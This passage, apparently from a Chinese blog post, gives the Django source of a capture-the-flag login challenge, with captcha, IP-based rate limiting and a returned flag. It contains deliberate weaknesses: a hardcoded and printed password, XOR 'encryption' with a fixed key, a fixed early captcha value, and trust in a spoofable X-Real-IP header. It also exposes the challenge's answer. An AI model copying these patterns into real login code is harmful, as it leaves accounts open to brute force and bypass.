            if ip_store.need_captcha() and c.data != attrs["code"]:
                c.delete()
                return False, "验证码错误"
            print(attrs["password"])
            if attrs["password"] != "312":
                c.delete()
                return False, "密码错误"
            c.delete()
            return True, "flag{do_you_like_react_and_webpack}"
        except Exception:
            return False, "uuid不存在"


class LoginView(APIView):
    def get(self, request):
        # IP 检测
        if "HTTP_X_REAL_IP" in request.META:
            ip = request.META['HTTP_X_REAL_IP']
        else:
            ip = request.META['REMOTE_ADDR']
        uuid = str(uuid4()).replace("-", "")
        ip_md5 = hashlib.md5(ip.encode()).hexdigest()
        ip_store, _ = IPStore.objects.get_or_create(ip=ip_md5)
        image_str = ""
        v = "0000"
        if ip_store.try_num > 2:
            image_str, v = Captcha().get()
        CaptchaStore.objects.create(uuid=uuid, data=v)
        uuid_bytes = list(uuid.encode())
        key_byte = list("123C7E5E875FBF0EEE2583F8AF3DDFF9".encode())
        for i in range(len(uuid_bytes)):
            for j in range(len(key_byte)):
                uuid_bytes[i] ^= key_byte[j]
        s = base64.b64encode(bytes(uuid_bytes)).decode()
        return Response({
            "img": image_str,
            "uuid": s
        })

    def post(self, request):
        se = TestSerializers(data=request.data)
        if "HTTP_X_REAL_IP" in request.META:
            ip = request.META['HTTP_X_REAL_IP']
        else:
            ip = request.META['REMOTE_ADDR']
        try:
            ip_md5 = hashlib.md5(ip.encode()).hexdigest()
            ip_store = IPStore.objects.get(ip=ip_md5)
            ip_store.add_visit_num()
            if ip_store.need_ban():
                return Response(status=HTTP_404_NOT_FOUND)
            if se.is_valid():
                s, data = se.save(ip_store)
                return Response({"result": s, "msg": data})
            return Response({"result": False, "msg": "表单错误"})
        except Exception as e:
            print(e)
            return Response(status=HTTP_404_NOT_FOUND)

utils.py

import random
import base64
from PIL import Image, ImageDraw, ImageFont
from io import BytesIO


class Captcha:
    def __init__(self):
        self.random_number = "".join([str(j) for j in [random.choice(list(range(10))) for _ in range(4)]])
        self.color = [(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) for _ in range(4)]

    def get(self):
        weight = 63
        height = 24
        image = Image.new('RGB', (weight, height), (255, 255, 255))
        font = ImageFont.truetype(font="C:/309.ttf", size=25)
        draw = ImageDraw.Draw(image)
        for x in range(weight):
            for y in range(height):
                draw.point((x, y), fill=(255, 255, 255))
        offset = 0
        for number, color in zip(self.random_number, self.color):
            draw.text((offset * 15 + 5, 0), str(number), font=font, fill=color)
            offset += 1
        buffered = BytesIO()
        image.save(buffered, format="PNG")
        img_str = base64.b64encode(buffered.getvalue()).decode()
        return "data:image/png;base64," + img_str, self.random_number


if __name__ == "__main__":
    i, n = Captcha().get()
    print(i, n)

models.py

from django.db import models


class CaptchaStore(models.Model):
    uuid = models.CharField(max_length=30)
    data = models.CharField(max_length=4)


class IPStore(models.Model):
    ip = models.CharField(max_length=32)
    try_num = models.IntegerField(default=0)

    def add_visit_num(self):
        self.try_num += 1
        self.save(update_fields=["try_num"])

    def need_captcha(self):
        return self.try_num > 3

    def need_ban(self):
        return self.try_num > 50
版权声明:
本文基于《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权
文章链接:http://blog.z31.xyz/index.php/archives/18/ (转载时请注明本文出处及文章链接)

评论